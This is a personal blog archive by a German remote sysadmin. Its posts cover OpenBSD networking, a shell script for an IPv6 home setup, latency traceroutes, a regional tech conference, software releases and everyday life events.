One of my personal beliefs is that the moon has plenty of resources that we can use. We can use the iron, the aluminum and even the stones on the moon. And best of all we can use the moons gravity. I have a feeling it's just enough to allow long missions. Imagine being 3 years away from earth! So far the record isn't even half that. Yes we'll always be dependet on resources from earth but if lastly the only resource from earth is humans then we got it made. Space link.



Fibre Optics in Schweinfurt?

November 23rd, 2012

According to this german article we can expect Fibre Optic cabling (FTTH) to the home by end of 2014. So 2015 is reasonable. The Deutsche Telekom would be laying all the fibre and the cost would be around 20 million euros.

This would be good for me since the Internet is my sole means of income. I do remote system administration currently (a work from home type job).



KNF Kongress 2012 - Complex World...

November 26th, 2012

The KNF which I'm a member of is an organization centered around networking and digital communication of Franconia (a region in Germany). Every year they have a Con and it's called "KNF Kongress" and this years con was about "Komplexe Welt - in und um das Internet", so in english "complex world - in and around the Internet". The con is held in Nuremberg at the Ohm College. Here is how it went down for me:

I got to the venue at 10:25 and it was too late to get to the early talks. So I set my laptop up with the KNF wireless, which turned out to be pretty intermittent in quality throughout the day. All the talks were being held in german so I'm gonna translate it to english on what I saw and heard.

The first talk I went to then was "OpenSeaMap - Status und aktuelle Projekte". This talk was being held by Markus Baerlocher. I didn't know anything about OpenSeaMap (google it) prior so this was an interesting talk. The status on the project was that they need developers and servers (mostly for storage).

Then there was lunch, and pizza. :-)

Next I attended the "mbed - der schnellste Einstieg in Web-basierte Steuerung und Regelung" by Jochen Krapf. This was an inspiring talk and demonstration by Jochen but I gotta admit I didn't know C++ or electronics all that well so there was about 5% of things I didn't grok. Otherwise a very nice talk about mbed.org which is sorta like arduino.

After that the mbed talk continued with another person Christian Besenreiter who required a dhcp server. Lastly it was my netbook running OpenBSD which provided that function. Chris showed us three real live examples of metering electric current with mbed. In the end Jochen had a few more words which cut into our coffee break. Both of these talks were very well done and the highlight of the day.

The last talk I attended was by Richard Lippmann about "Sicherung virtueller Server Umgebungen" which was a niftily thought-out demonstration how virtual environments make backups and snapshots. Only in the end I was a little disappointed because it was over so soon. Richard is a very good presenter.

And finally we had a Jam Session where anyone could go to the beamer and present a project. This was very well done and I think I'll do this next time as well. Perhaps I can talk about wildcarddnsd and its development.

By the time I got to the Nuremberg main train station it was 18:20 and my next train would depart at 19:00. It took a while but I got home at 20:30 and my dad picked me up from the train station in Schweinfurt.



I got a new apartment

December 06th, 2012

I got a new apartment. The old apartment is in the same condition as it was in August, so nothing had been done. So I cancelled it.

The new apartment has a lot more space, and includes a work room where I can work in and then close the door at the end of the day. Also it's close to shopping amenities so I'll probably have a better quality of life. I'm pretty happy. Despite the setbacks in 2012, this year has been pretty good to me.



Tomorrow we'll reach 1 million views!

December 7th, 2012

We got a million views. Yashy, hawson, whoever else contributed Franks, give yourself a pat on the back. We did it! But first some history. I started writing in hackepedia on October 5th, 2005 in the stdin article. Soon followed stdout and stderr. Now it's 7 years 2 months later or 2618 days later. A lot has changed. And we got 381 views every day since then on average. In the most recent additions to hackepedia I have been writing the C Primer which turned out to be very popular. A lot of demand for learning C is out there. I plan on furthering the C Primer by translating it to german, we'll see how I do that, I also want to open the C primer to others edits so that we can get more examples of code perhaps. All in due time. This is really a spectacular moment!



2012 - Year in review

December 10th, 2012

Last year I did the review on the 10th of December as well so I'm going to do this years on the 10th as well. Here is what happened in 2012:

December 11th, 2011 my program Natally is able to do IPv6 by disabling IPv4 NAT.
December 23rd, 2011 I left facebook for good.  Thanks Eva for encouraging me!
December 27th, 2011 Donated 10 euros to the Pirate Party of Germany.
December 28th, 2011 Changing ad banners at the top of my blog.
January 1st, 2012 turning off WPS as a vulnerability was found, happy new years!
January 2nd, wikimedia releases stats that 1 million donors contributed 
	20 dollars on average.  Wikipeida gets 470 million visitors a year.
January 6th, new commenting system.
January 9th, setting up iked on OpenBSD (my story).
January 14th, bought some jamaican reggae and some Nukky Grissom off iTunes.
January 15th, FreeBSD 9.0 is released as well as PC-BSD 9.0.
January 18th, Removed the web mirror that was on uranus.centroid.eu (DSL).
January 27th, I describe what my dream smartphone would be like.
January 28th, Wildcarddnsd is fixed on big endian machines particularily the macppc.
February 13th, Information and its exchange and new stickers on Jupiter and Mars.
February 19th, I observed the real Jupiter and Venus very bright in the night sky.
February 28th, donated 100+ Euros to *BSD projects.
February 29th, Free Buju Banton.
March 2nd, got notice that my contract work would not get renewed.
March 14th, pre-ordered OpenBSD.
March 16th, bought an ACER Aspire One netbook and named it Saturn.
March 23rd, checking Randomness on Debian.
March 24th, the Venus glider.
March 30th, Interesting findings about older Airport Express Access Points.
March 31st, pictures of my workbench.
April 4th, SVPRadio One year anniversary.
April 6th, ordered 3 books from Amazon.
April 8th, added a robots.txt file that disallows bots to go into my blog.
April 18th, 26 years of Personal Computing History.
April 19th, Jupiter (computer) gets a new fan.
April 28th, New job, first week.
April 29th, got a new book from Amazon.
April 29th, BOINC processing comeing to an end.
May 1st, OpenBSD 5.1 Released, Jupiter (computer) built with OpenBSD.
May 11th, io.solarscale.de needed a fsck.
May 23rd, what to do about ports (space issue).
May 27th, ordered 4 more books from Amazon.
June 1st, World IPv6 day.
June 2nd, home network fully at OpenBSD 5.1.
June 3rd, Venus transit approaching.
June 30th, China puts its first woman into space.
June 30th, Going to the moon?  You'll need this!
June 30th, Fritzbox 7930 NAS too slow!
July 6th, A bit disappointed with dspam.
July 13th, Donated 50 euros to OpenBSD.
August 2nd, Five technologies of the future.
August 4th, Why I don't trust the ITU.
August 5th, Why landing on mars may not be a good idea (for humans).
August 7th, the distance of Mars (planet) today.
August 14th, (My open source projects) left Sourceforge.
August 15th, fire in my building, uranus (computer) is off.
August 17th, 6-8 Weeks (it should take for me to move back into my apartment).
August 25th, a red sky over schweinfurt at dawn.
August 25th, Neil Armstrong dies. 
September 3rd, how not to succeed (in trojan programming).
September 4th, registered virgostar.net.
September 8th, Ritesh Agarwal leads development of an optical NAND gate.
September 9th, ordered OpenBSD 5.2 from Lehmanns.de
September 10th, purchased/leased a new VPS in Hong Kong.
September 21st, Privacy: they know who you are anyways.
September 30th, Purchased online-backup storage (strato hidrive).
October 1st, Bad cryptography: a one time pad.
October 5th, My top 8 genres in my iTunes collection.
October 13th, Seti@home has failed.
October 17th, two algorithms for rate-limiting.
October 18th, a planet around alpha centauri-B.
October 19th, NetBSD 6.0 was released yesterday.
October 24th, I want to buy a mac mini.
October 28th, Big donation to OpenBSD.
October 31st, Halloween in Schweinfurt.
November 1st, OpenBSD 5.2 is released.
November 5th, The Main river produces 118 MW of electricity in total.
November 7th, tomorrow I'm purchasing a new Mac Mini.
November 10th, My C Primer hits 20,000 views.
November 20th, Why Open Source works.
November 21st, The european space program.
November 23rd, Fibre Optics in Schweinfurt?
November 26th, KNF Kongress 2012 - Complex World...
December 6th, I got a new apartment.
December 9th, 1 million views at Hackepedia.org.



Purchased two books

December 13th, 2012

I purchased two books on iPhone programming. Now that I have the mac mini I'm able to program in that area with xcode. The simulator will allow me decent results, but eventually I'm wanting to buy an ipod touch for IOS programming. That's where my spare time in 2013 will likely go to.



Decided to expire goldflipper.net

December 14th, 2012

Less is more. And I got to trim the fat a little on domain ownership. So what I've done is take out goldflipper.net out of dns server entries for all my domains and replaced it with americas.centroid.eu. I also asked my vps provider in panama to rename the vps from goldflipper.net to americas.centroid.eu, and adjust reverse dns.



Registered AmDeutschhof.de

December 18th, 2012

After deciding to expire goldflipper.net, I registered amdeutschhof.de as that is the street I'm living on in a part of Schweinfurt called Deutschhof. I intend to give neighbours an email redirect service with this, although I'm unsure how popular it would be.



December solstice in three days

December 18th, 2012

The december solstice is in three days. Interesting I find that wikipedia calls this also the "southern solstice". Have fun with this info. What does it really say? It means that at high noon on the 21st the sun is at its lowest point in the sky (due to the earths tilt). It also means the shortest day of the year, but it also means that going forward after this days will increase in length again (at least until the next June solstice). If the 21st is the end of the world will have to be seen, but I personally have my doubts. :-).



Planets aligned on the 21st?

December 18th, 2012

I'd say no. Take a look what xephem showed, edited with gimp.



My Spaceship

December 22nd, 2012

When I was a boy of around 12 years old, I would draw space ships. One favourite of mine was redrawing the run-about of STNG. This is roughly what it looked like as I drew it.

Notice it had some sort of propulsion that glows, at the back and at the bottom of the ship. Yes it may be an array of ion propulsion who knows..it had a nearly endless supply of energy to transport people between stars in sub-lightspeed speeds. Perhaps at an 8th of a lightyear-year.



Merry Christmas!

December 24th, 2012

Merry Christmas, the 7 angels sing! Dr. Nic came on the sixth, and brought presents with him! Or something like that... Merry Christmas!



Frankfurt-Helsinki in 6 hours by rail?

December 28th, 2012

China reportedly has a train that covers 2300 kilometers in 8 hours between Beijing and Guangzhou. I'm sort of jealous of that. I wish europe would have similar efforts. For starters between Helsinki and Frankfurt (through the not yet built Helsinki-Tallin(?) tunnel) with a stop in Warsaw, Poland. That would rock and has a distance of around 1800 kilometers. If we can put ICE trains to use they could skoot through the east-baltic regions like darts.

Of course going down Frankfurt to Gibraltar would be cool too. However I'm sure the Polish, Estonians, Latvians and Lithuanians would probably be more willing to have an ICE train roll through their countries than France having anything other than a TGV roll through theirs.



Looking for love in all the wrong places

December 28th, 2012

I just signed up for a love-matchmaker again. It's the same story, you gotta pay to read messages from others, so it's really worthless. I'd pay but the contract automatically renews itself unless I FAX them to stop doing so. I hate doing that. I want to pay for a limited amount of time to unlock all features and not have to worry that something is eating on my savings after. Anyone know any good matchmakers? That do what I want?



Happy New Year 2013

December 31st, 2012

This may just be the last post of 2012 and the first post of 2013 worldwide. Happy New Year! Thanks for stopping by my blog. When I'm fully moved in to my new apartment and everything is connected I'll have a backlog of releasing to do for wildcarddnsd and perhaps natally, and fire irc (these are programs I develop).



Got a new monitor

January 7th, 2013

Because I'm building a stand-up station for my work I needed another monitor. I got it today, a 27" monitor. It's an ACER the same as my Netbook. I also got a new office chair because the old one was uncleanable after the fire.



How a base on Phobos could look like

January 7th, 2013

In this article, I let you know a little how a trip to Mars could look like. See this picture which is a moon-base on the moon Phobos that orbits Mars where a tracked centrifuge module exists that spins and creates artificial gravity (sideways) for the astronauts. There is many rockets for the habitat, gravity centrifuge and rocket home as well as sat uplinks and dishes for the communications back to earth.

Just a bit out of my imagination trunk...



Got a new book on WLAN's

January 10th, 2013

In fact it's my first book that describes wireless LANS and it's protocols. It seems to be a good book at first glance. The books name is "Wireless LANs" by Jörg Rech and is written in german.



Fibre Optics in the Canadian North

January 11th, 2013

These days the winter is pretty mild in Germany. But pretend you live in Nunavut, Canada. It must be freezing, it's the Arctic. I have a friend who lives there. I believe his Internet he gets through a satellite uplink, which is pretty cool. But imagine this arcticfibre.com, this would really fix their Internet up there. And it would fix mine as well. Look at this route from Germany to my VPS in Hong Kong:

 4  f-ed6-i.F.DE.NET.DTAG.DE (62.154.15.2)  55.820 ms  53.301 ms  59.920 ms
 5  ffm-b12-link.telia.net (213.248.103.169)  51.417 ms  51.289 ms ffm-b12-link.
telia.net (213.248.79.201)  50.974 ms
 6  ffm-bb2-link.telia.net (213.155.132.210)  52.657 ms ffm-bb1-link.telia.net (
213.155.135.8)  137.400 ms ffm-bb1-link.telia.net (213.155.132.208)  56.959 ms
 7  nyk-bb2-link.telia.net (213.155.135.63)  143.458 ms  216.887 ms nyk-bb2-link
.telia.net (213.155.131.151)  146.343 ms
 8  sjo-bb1-link.telia.net (80.91.245.96)  221.688 ms sjo-bb1-link.telia.net (80
.91.254.177)  215.269 ms  216.198 ms
 9  hnk-b2-link.telia.net (213.155.132.190)  331.143 ms  329.440 ms  329.417 ms
10  hostvirtual-ic-300085-hnk-b2.c.telia.net (213.248.66.102)  331.984 ms  333.2
87 ms  333.618 ms
11  moon-a.virgostar.net (103.6.85.219)  379.59 ms  378.726 ms  377.172 ms
Now if this route isn't faked it goes through the following cities:
  1. frankfurt (ffm) in hop 6
  2. New York (nyk) in hop 7 (100 ms latency added)
  3. San Jose, California (sjo) in hop 8 (70 ms latency added)
  4. Hong Kong (hnk) in hop 9 (115 ms latency added)
Now they say the distance between London and Tokyo in arctic fibre is gonna be 15600 kilometers. As light travels through fibre optic wikipedia says that the speed of light through optical fibre is roughly 200,000 kilometers per second, so it would take 78 ms so then we do a couple of soundings, from my house to London:
$ ping www.linx.net
PING ivory.linx.net (195.66.232.53): 56 data bytes
64 bytes from 195.66.232.53: icmp_seq=0 ttl=58 time=70.111 ms
c64 bytes from 195.66.232.53: icmp_seq=1 ttl=58 time=64.192 ms
c64 bytes from 195.66.232.53: icmp_seq=2 ttl=58 time=65.072 ms
--- ivory.linx.net ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 64.192/66.458/70.111/2.616 ms
and from my hong kong vps to Tokyo:
PING www.mfeed.ad.jp (210.173.160.18): 56 data bytes
64 bytes from 210.173.160.18: icmp_seq=0 ttl=246 time=58.423 ms
64 bytes from 210.173.160.18: icmp_seq=1 ttl=246 time=58.494 ms
64 bytes from 210.173.160.18: icmp_seq=2 ttl=246 time=58.065 ms

--- www.mfeed.ad.jp ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 58.065/58.327/58.494/0.188 ms
Add them up and we get 66 + 58 + (2 * 78) = 280 ms. Compare this with the current 379 ms that I'm getting now, a lot of latency added due to routing through the continental USA from New York to San Jose. Why I'd rather be routed through arctic fibre, which is speedy and secure. My friend in Nunavut would like being on arctic fibre as well and when I emailed him about this he mentioned that they are watching development of this very closely. You can find his blog btw linked from this blog called "Higher Latitudes". I think arctic fibre makes a lot of sense.



Let me explain how the Internet works...

January 19th, 2013

...and how I can work in Canada from Germany.

In order to get Internet to the home we purchase a DSL or Cable link. Sometimes when we're lucky we can even get a Fibre Optic connection directly to the home. Pretend we pay 20 euros a month for this. Where does the money go?

The money goes to the ISP who has to purchase routers and switches, and internal infrastructure and most importantly a link to the outside. There is two types of links that an ISP can connect to. A peering link is one where the ISP usually pays just the connect fees to a peering hub and any traffic flowing between peers on that hub is free at cost. The second link is a transit link where the ISP purchases bandwidth from another ISP. That other ISP then transits the flow of internet packets to another ISP and an internetwork of networks is created. Because the ISP requires great bandwidths the transit traffic is usually pretty cheap.

So pretend you get your email from gmail (google). Google has cleverly situated themselves so that they are available for peering at major peering points so when I traceroute to gmail.com I actaully traceroute to munich at INXS (an exchange point). When I traceroute from my vps the route goes to paris, via DECIX. My ISP probably pays very little for that mail to be checked, but google on the other hand has to foot the bill for email servers and the network from DECIX to Paris. Anyhow this is an example how some services are cheaper than others. If I were to pop my mail from an ISP in Canada it would follow a route over transit providers and it's a bit more than just going over peering points.

Yet there isn't all too many teleworkers like me so the ISP's make a profit on 95% of the population and 5% telework and create costs. Fortunately that includes me. I'm able to use the network here and in Canada because it's all TCP/IP and part of the Internet. The flat fee works because not everyone has to cross the atlantic ocean to get their email, web and facebook. However there is a catch of course. I'm making money in Canada and I have to pay taxes in Germany from the money made, so I'm importing money into the german economy. Or said differently I'm exporting services overseas. Again not many can claim that.

All in all the order of the Internet is pretty fair. Yes fees for the end users could go down but there'll always be peering points and transit providers to upkeep this harmony in the 'net. Remember if a transatlantic cable breaks, there has to be ships ready to sail to repair it. This costs money too. Even though you use only european networks you're paying for those ships that wait until a cable breaks (all indirectly). May not be fair to you but it's fair for the collective, and when you want to use american services you can without creating cost on yourself. It works fabulously IMO.

Further reading:



This years traffic from Uranus (computer)

January 20th, 2013

Last year I had a snapshot of the yearly traffic of Uranus, this years was all screwed up due to my move to my parents house brought about by the fire in my ex apartment building.

In August you can see the traffic reversed. That's due to the interface not facing the DSL anymore but being behind another router.



Date correction

January 20th, 2013

I use a script to provide me with a template, to write my articles. I didn't upgrade this script on January 1st so the date erroneously still said 2012. That's fixed now.



Ordered two new books

January 24th, 2013

I have ordered two books, for personal interest:

  1. "Infinite Reality: Avatars, Eternal Life, New Worlds, and the dawn of the Virtual Revolution" by Jim Blascovich. I was made aware through this book by visiting Stanford Universities Virtual Human Interaction Lab website.
  2. "Designing Virtual Reality Systems: The Structured Approach" by Gerard Kim. This I picked randomly, I hope it's a good book it has a hefty pricetag.
In another world I was Pi the Druid. This world was called Northern Crossroads MUDD (a multiple user dungeons and dragons game). This game still exists today but I grew out of it. If you're interested you can visit it by going to the MUDD's webpage. I view this game as a forerunner to virtual reality. It is socket based and based off Diku MUDD which was created at a Danish University by their CS department. Everything in the game is ascii based and actions are described by text. I shortly programmed on my own Diku MUDD and it was a lot of fun, so I'm hoping to pick up with virtual reality as the next bridging gap.

Yes well. Virtual reality. It interests me a lot. It scares my mom somewhat as she's worried on mental damage (more of what there is now). But I'm fairly careful I think and one thing that doesn't interest me is horror or anything that would put anxiety on a user of VR. I'm more interested in healing and discovering myself, to explore my own soul from within so to speak and I've done a bit of thinking about the topic. So far I still lack haptic glove and Head mounted display but I'm hoping to get something affordable in the next little while. I have an idea of coupling IOS apps with network communication and virtual reality, I hope to see it through given time.

This reports a little more out of my imagination and my dreams and hopes.



Neat little vmware fusion trick

January 24th, 2013

I noticed that typing control-left arrow and conrol-right arrow can switch between main screen and vmware guest. This is fancy and quick. I personally go from OpenBSD to Mac OS X between work and personal time.



Bought a backup drive

January 26th, 2013

Usually I always buy a backup drive right away. However planning to buy a new wireless timecapsule didn't work out because I'm still expecting apple to release an 802.11ac access point. The current models are 802.11n and less. But since the capsule is only 100 or so euros more than the airport extreme, I'm gonna go with an extreme instead and plug this new harddrive into it. I bought a 2TB external harddrive btw. This will be enough to back up my mac mini with timemachine.



Time Machine backup really slow

January 28th, 2013

My time machine backup is really slow. It's been backing up 1.5 days now across two nights and only did 38 GB from 282GB to back up. The drive that it's backing up to I timed with dd command to be writing 121 MB/s (roughly twice of what USB2 is capable of) so it doesn't seem to be a speed issue. iostat is bored:

gaia:~ pjp$ iostat -w 1 disk0 disk2
          disk0           disk2       cpu     load average
    KB/t tps  MB/s     KB/t tps  MB/s  us sy id   1m   5m   15m
   36.46   2  0.09    64.24   0  0.01   1  3 96  1.66 1.82 1.94
   53.00   8  0.41     0.00   0  0.00   2  2 96  1.66 1.82 1.94
   26.46  13  0.34     0.00   0  0.00   1  2 96  1.66 1.82 1.94
   80.00   5  0.39     0.00   0  0.00   1  2 96  1.66 1.82 1.94
   38.00   8  0.30     0.00   0  0.00   2  3 95  1.66 1.82 1.94
   44.00  10  0.43   128.00  16  2.00   2  3 96  1.66 1.82 1.94
   17.65  49  0.84     7.33   6  0.04   1  3 95  1.77 1.84 1.94
   38.00   8  0.30     0.00   0  0.00   2  2 96  1.77 1.84 1.94
   29.82  11  0.32     0.00   0  0.00   1  2 96  1.77 1.84 1.94
   53.00   8  0.41     0.00   0  0.00   2  3 96  1.77 1.84 1.94
Let's see 2MB/s at peak for one second out of ten and on the computer is 96% cpu idle. Something is surely wrong.. I suspect it's doing a lot of small files but even then..

I'm at a loss and googling for solutions isn't working either.



DECENTRALIZED

January 29th, 2013

In Germany the electric grid is becoming more and more decentralized. Solar and Wind powerplants are being created in every region. Wouldn't it then also make sense to also decentralize the computers in germany? I read of all these supercomputer centers, datacenters around regions that serve as Internet hubs that they are having problems getting guaranteed energy, mostly to cool their arrays of server racks. What we need is a distribution of high speed Internet access and put large computers to use at home on a distributed computing effort in my opinion. These computers don't need as much cooling as centralized computers in data centers, saving energy.

PS: I'd like to get away from moving fans to cool computers but rather use LASERS to do that.

So who serves your mail? Perhaps we all need static IP's too, face it privacy is gone anyhow, with static IP's we can receive our own mail and not need large datacenters (and the complexity involved).



IRC

January 30th, 2013

I joined IRC in 1994 or earlier. The very first time I used efnet chat network was when my BBS provider had a door to ircII client or something. There I first hung out in #linux or #linuxhelp and someone helped me upgrading/compiling from Linux 1.2.3 to 1.2.13. I left IRC at that and was MUD'ing on ncmud for a long while but when I noticed a slight addiction I left MUDing. IRC was the addiction to heal my addiction.

I spent time in the channels #unixhelp, #unix, #toronto, #germany, #bork, #freebsd, where some more and some less. I was very taken with the #unix crowd and liked being there but admittedly I was always a bit careful because of the chance that I get hacked by someone there (it was a large channel of 100 or so clients). Eventually I left #unix and went totally offline (from the Internet) when I had a new toy. An iBook with built in wireless lan. I spent the Summer of 2000 mostly outdoors riding around wardriving with it.

The wardriving did me no good and I eventually came back online and this time not to #unix but #unixhelp. There was people from #unix there so I knew some people. To this day I IRC on efnet and IRCnet on the channels #unixhelp, #bluenight and #dns. More on this all later.



NAP of the Americas in Miami

January 31st, 2013

The BBC has an article about the NAP of the Americas in Miami, USA. Here it is. The NAP is what most routes from Germany go through when I traceroute my Panamanian VPS. Interesting building, it reminds me a little of 151 Front albeit much larger.



Wire-tapping of the Cloud...

January 31st, 2013

My blog and other data stored on my VPS's can be examined by the NSA through the american hoster I use. This is cautioned by the BBC. Particularily falls the VPS in Hong Kong then under jurisdiction of the NSA because I use an American provider based in Los Angeles. The VPS in Panama is operated by a canadian company and they probably have similar laws. So my data is wide open to the american contintent. I do not know what sort of information they would like to gather though other than web and dns logs. In terms of juicyness my blog doesn't have very much worth spying over. But I thought the article in the BBC was intriguing nontheless. I'm not going to pull back my blog over this though.



If I do upgrade Jupiter(computer)...

February 1st, 2013

Then here is a series of chips to consider. Jupiter is currently an i7-930, but an i7-980 would be nice but is still pricy, with 3 years warranty however it would give 6 year lifespan of the 3 year old machine perhaps. I'm watching for the price for the 970/980 to come down.

I'm also considering what tasks I want running on Jupiter. Right now there isn't too much CPU intensive stuff. Also Jupiter never ran over nights. I turn it off at night and plan on continuing to do so.



This is actually cool!

February 2nd, 2013

Let's start with my computer for cooling. :-) The fact that this was developed in China is cool too because most computer parts come from there...



Slowly getting ready for move

February 09th, 2013

On the 12th my provider M-Net will activate the DSL link. I've taken the 12th and 13th off work so that I can hook everything up at home. I'm worried of not getting back my static IP, which I had for 4 years. I let M-Net know this but haven't had a reply from them yet. Not getting the static IP will not be the end of the world, but the end of e-mail, www, shell server and other stuff at home. I truely hope I get my static IP back though, and will fight for it.



I've moved

February 13th, 2013

Last night was the first night in my new apartment. Everything went well during the move and I got Internet yesterday at around noon. Here is a picture of my workbench and new stand-up table. I alternate between the two due to my lower back problems.

It looks a bit messy because I just dumped all my stuff on the table but I hope to rearrange things so that I can see the wood on the table.



My new IPv6 setup

February 14th, 2013

Happy Valentines day. I'm spending it alone with IPv6 :-). But I want to show you what I did and perhaps you have a few hints for me on how to improve it.

I have a Fritz!Box router (a home consumer router) which costs around 100 euros. I got mine for free with the new plan with M-Net my provider. M-net provides IPv6 on a test basis and since I can't get a static IP anymore with them I'm using it insteads of the IPv6 tunnel I used to have. This is what my network looks like now:

                Simplified IPv6 Network at Centroid.EU


                      +-----------+
                      | Gaia      |
                      | Luna (vm) |
                      | Mac OS X  |
                      |           |
                      +-----+-----+
                            |
  +-----------+       +-----+-----+                             +----------+
  |           |       |           |                             | Fritz.box|
  | Jupiter   |_______|  Uranus   |____________| 3270     |
  | OpenBSD   |       |  OpenBSD  |         Fritz.repeater      |          |
  |           |       |           |                             |          |
  +-----------+       +-----+-----+                             +-----+----+
                            |                                         |
                      +-----+-----+                                   |
                      |           |                                Internet
                      |  Mars     |
                      |  OpenBSD  |
                      |           |
                      +-----------+
The fritzbox announces IPv6 through route advertisements and delegates a /62 from the /56 prefix that M-Net provides me with. This /62 is given through DHCPv6 so I had to install isc-dhcpd from the ports on openbsd to make it work. However I faced a dillemma how does Uranus on the fritzbox facing interface know it's IPv6? I wrote a small script to enable it with rtsol and also the script adds rtadvd for automatic discovery on Jupiter, Mars, Gaia and Luna. I'm going to show one of these as an example. First to Uranus though, it's /etc/hostname.em5 interface looks like this:
# more /etc/hostname.em5
dhcp
!/root/update-rtadv.sh
And I've written the /root/update-rtadv.sh script quickly so it may be buggy, but it works across reboots:
#!/bin/sh

PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH

/usr/local/sbin/dhclient -6 -P -D LLT  em5

PREFIX=`grep iaprefix /var/db/dhclient6.leases  | tail -1 | awk '{print $2}' | awk -F/ '{print $1}'`

EM0=`echo $PREFIX `
EM1=`echo $PREFIX | sed -e 's/:8fc:/:8fd:/g'`
EM2=`echo $PREFIX | sed -e 's/:8fc:/:8fe:/g'`
EM3=`echo $PREFIX | sed -e 's/:8fc:/:8ff:/g'`

(cat < /etc/rtadvd.conf

/etc/rc.d/rtadvd restart


route delete -inet6 default

while :: ; do
        ifconfig em5 | grep "inet6 2001:" 
        if [ $? -eq 1 ]; then
                break;
        fi

        sleep 10
done

backprefix=`rtsol -d em5 2>&1 |\
grep "received RA from" |\
awk '{print $4}' |\
awk -F:: '{print $2}'`


frontprefix=`ifconfig em5 | grep "inet6 2001:" | awk '{print $2}' | \
awk -F: '{print $1 ":" $2 ":" $3 ":" $4 ":" ; }'`

/sbin/route add -inet6 default $frontprefix$backprefix

exit 0
So when I'm on jupiter and I run a continuous ping6 on io.solarscale.de, it looks like this:
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=11 hlim=56 time=14.069 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=12 hlim=56 time=17.013 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=13 hlim=56 time=15.712 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=14 hlim=56 time=14.167 ms

16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=95 hlim=56 time=35.225 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=96 hlim=56 time=14.689 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=97 hlim=56 time=15.765 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=98 hlim=56 time=14.213 ms
^C
--- io.solarscale.de ping6 statistics ---
99 packets transmitted, 19 packets received, 80.8% packet loss
round-trip min/avg/max/std-dev = 13.973/16.219/35.225/4.611 ms
As you can see it ping'ed across a reboot and that means that all IP's and routes were configured correctly. On Mars I have an rtsol setup to get its IPv6 and it's /etc/hostname.gem0 looks like this:
mars$ more /etc/hostname.gem0
dhcp
rtsol
I had to also enable rtsold in /etc/rc.conf.local and enable route advertisements per sysctl.conf. The configured interface gem0 on mars looks like this then:
mars$ ifconfig gem0
gem0: flags=8863 mtu 1500
        lladdr 00:30:65:a1:ec:a6
        priority: 0
        groups: egress
        media: Ethernet autoselect (100baseTX full-duplex)
        status: active
        inet6 fe80::230:65ff:fea1:eca6%gem0 prefixlen 64 scopeid 0x1
        inet6 2001:a60:18e5:8fd:230:65ff:fea1:eca6 prefixlen 64 autoconf pltime 604697 vltime 2591897
        inet 192.168.33.4 netmask 0xffffff00 broadcast 192.168.33.255
I still have to set up some sort of dynamic DNS for the IPv6 so that I can easily reach these hosts from each other since I can't remember their IPv6 address and on Gaia (the mac os x) the IPv6 keeps changing due to privacy extensions. However for outgoing IPv6 this setup works. Incoming is blocked at the fritzbox router anyhow and I haven't figured out how to set the IPv6 firewall rules right yet. I've sent AVM the maker a support email after consulting with M-Net.

I hope this helps the next person and if you have improvements let me know in the comments or mail me directly. Thanks.



Reinstated CVSWEB for my programs

February 15th, 2013

I have ported the viewvc to lighttpd configuration and now my programs code history is viewable again. I will be committing new stuff shortly, which hopefully will reflect in these.

Feel free to check these out. I'll be rolling a new BETA release for wildcarddnsd soon.



Wildcarddnsd BETA 7 released

February 17th, 2013

I got all the patches that I had and put them in tweaked it a little yesterday and tagged the source tree. I made a mistake with the branch tag but that was easy to fix here is how I did it:

cvs tag -b -r OLDTAG NEWTAG     # puts a new tag on the old position
cvs tag -d OLDTAG		# removes the old tag
So here are the new things from previous wildcarddnsd release:
Changes in BETA_7 from BETA_6
 	
 	- remote (sys)-logging feature with HMAC message verification
 	- change to Berkeley DB 4.6+ on BSD hosts (Linux had it already)
 	- allow numerous copies of wildcardnsd to pre-fork (-n flag)
 	- AXFR master code (this allows a bind9 slave to work with wildcarddnsd)
	- fix an integer overrun in parse.c which prevented big endian hosts to
	 make use of ANY replies and AXFR
 	- SRV RR support
 	- left sourceforge.net around August 14, 2012
 	- Mac OS X compiles now, but has not been tested with queries
Yes I'm not hosting at sourceforge.net anymore. I managed to leave them just before my old apartment building's fire and just before SF was sold. I do my own hosting of the sources and cvsweb and so on. Because of that decision I follow EU export laws not US export laws.

The next BETA release will likely happen around Nov 29, 2013 right on W's birthday (BETA_8 and 8 years old). I'm aiming for yearly releases and at BETA_10 I hope to have enough stuff in there that I can call it RELEASE_1 but we'll see. Enjoy these changes you can download the new snapshot (called 0.7.0) from here.



Introducing Fire Curses client

February 17th, 2013

The fire curses client (firec) is what I did while I was at my parents after the apartment fire. It allows me to IRC in a semi-windowed environment. Browse and download the source here:



Firefox does DNS prefetching in OpenBSD

February 19th, 2013

I did not know this. And I noticed it today with packet dumping on my firewall. In german I would say "Das ist eine Sauerei!". Anyhow I googled a little and found this helpful blog. Basically what DNS prefetching is, is that when you visit a website and that website happen to have the link http://www.centroid.eu on it the browser would conduct a lookup of this Internet name and caches it. It could speed up things but I think it's a privacy invasion on my part because I look at an offline wikipedia here and the citations show someone sniffing outside my link what page I'm looking up by correlating. Yes I'm paranoid and it's not their business.



Donation time again

February 24th, 2013

Roughly the same time as last year.

So I'm really into this by now, when there is a project that I see sense in giving money I give them money :P. Also one has to understand that I use OpenBSD and FreeBSD at work, so these projects help me make my money so why shouldn't I share a little of that? I think it's right and justified.



Teleworking: Mrs. Mayer you're (still) wrong

February 28th, 2013

Recently the news of Marissa Mayer (CEO of Yahoo) pulling all teleworkers at their organization back to their own corporate headquarters, struck me. I found it as wrong but discussion with a few californians on IRC they were of the perception that workers at yahoo who teleworked from home got a free paid vacation. BBC made an article about it.

I work from home and work is 6 timezones away in another hemisphere. This comes to my benefit though because I'M able to do technical maintenance on the computers at 4AM when it's 10AM here. This allows me to upkeep a "day" lifestyle, none of that 12 hour-days insanity that I did in my 20's. In fact everything is a lot more relaxed in operations so that we can draw benefits from me working from 6 timezones away.

